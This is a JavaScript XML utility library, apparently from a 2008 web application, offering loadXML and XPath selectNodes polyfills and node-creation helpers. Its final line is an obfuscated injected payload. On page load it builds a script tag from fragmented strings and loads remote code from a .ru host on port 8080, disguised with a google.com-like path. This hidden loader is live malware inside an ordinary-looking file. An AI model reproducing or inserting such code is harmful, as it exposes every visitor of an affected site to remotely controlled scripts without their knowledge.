/* Copyright Commcam Limited 2008. All rights reserved. (See licence/licence.txt) */

try
{
	new ActiveXObject("Microsoft.XMLDOM");
}
catch(e)
{
	Document.prototype.loadXML = function(strXML) 
	{
		//create a DOMParser
		var objDOMParser = new DOMParser();
		
		//create new document from string
		var objDoc = objDOMParser.parseFromString(strXML, "text/xml");
		
		// remove all initial children
		while (this.hasChildNodes())
			this.removeChild(this.lastChild);
		 
		// insert and import nodes
		for (var i = 0; i < objDoc.childNodes.length; i++) 
		{
			this.appendChild(this.importNode(objDoc.childNodes[i], true));
		}
	}
	
	function _Node_getXML ()
	{
		//create a new XMLSerializer
	    var objXMLSerializer = new XMLSerializer;
	    
	    //get the XML string
	    var strXML = objXMLSerializer.serializeToString(this);

	    //return the XML string
	    return strXML;
	}
	
	Node.prototype.__defineGetter__("xml", _Node_getXML);
	
	Element.prototype.selectSingleNode = function(strXPath)
	{
		var objXmlDom = this.ownerDocument;
		
		if(objXmlDom.selectNodes)
		{
            return objXmlDom.selectNodes(strXPath, this);
		}
        else
        {
            throw "Method selectNodes is only supported by XML Elements";
        }
	}
	
	XMLDocument.prototype.selectNodes = function(strXPath, objXmlNode)
	{
		var oNSResolver, arrItems, arrResults;
		
		if( !objXmlNode ) 
		{ 
			objXmlNode = this; 
		}      
		
		var oNSResolver = this.createNSResolver(this.documentElement);
		var arrItems = this.evaluate(strXPath, objXmlNode, oNSResolver, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
		var arrResults = [];     

		for( var i = 0; i < arrItems.snapshotLength; i++)     
		{        
			arrResults[i] =  arrItems.snapshotItem(i);    
		}     
         
		return arrResults;

    };

    
	XMLDocument.prototype.selectSingleNode = function(strXPath, objXmlNode)
	{
		var objXmlNode, objNodeList;
		
        objXmlNode = objXmlNode ? objXmlNode : null;
        strXPath = "("+strXPath+")[1]";
        
        objNodeList = this.selectNodes(strXPath, objXmlNode);
        
        if(objNodeList.length > 0)
            return objNodeList[0];
        else
            return null;
    }

    Element.prototype.selectNodes = function(strXPath)
    {
        var objXmlDom = this.ownerDocument;
        
        if(objXmlDom.selectNodes)
        {
            return objXmlDom.selectNodes(strXPath, this);
        }
        else
        {
            throw "Method selectNodes is only supported by XML Elements";
        }
    }
    
    Element.prototype.selectSingleNode = function(strXPath)
    {
        var objXmlDom = this.ownerDocument;
        
        if(objXmlDom.selectSingleNode)
        {
            return objXmlDom.selectSingleNode(strXPath, this);
        }
        else
        {
            throw "Method selectNodes is only supported by XML Elements";
        }
    }

}

function xml_createXmlDom()
{
	var objXmlDom;
	
	try
	{
		objXmlDom = new ActiveXObject("Microsoft.XMLDOM");
	}
	catch (e)
	{
		objXmlDom = document.implementation.createDocument("","",null);
	}
	
	return objXmlDom;
}

function xml_createHtmlNode(objParent, strName, strText) 
{
	var objElement = null;
	objElement = document.createElement(strName);

	if (strText != null) {
		objElement.innerHTML = strText;
	}

	if (objParent != null) 
	{
		objParent.appendChild(objElement);
	}

	return objElement;
}

function xml_createNode(objParent, strName, strText) 
{
	var objElement, objXmlDom, objTextNode;
	
	objXmlDom = xml_createXmlDom();
	
	try
	{
		objElement = objXmlDom.createNode(1, strName, "");
	}
	catch (e)
	{
		objElement = objXmlDom.createElement(strName);
	}
		
	if (strText)
	{
		objTextNode = objXmlDom.createTextNode(strText);
		objElement.appendChild(objTextNode);
	}

	if (objParent != null) 
	{
		objParent.appendChild(objElement);
	}
		
	return objElement;
}

var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};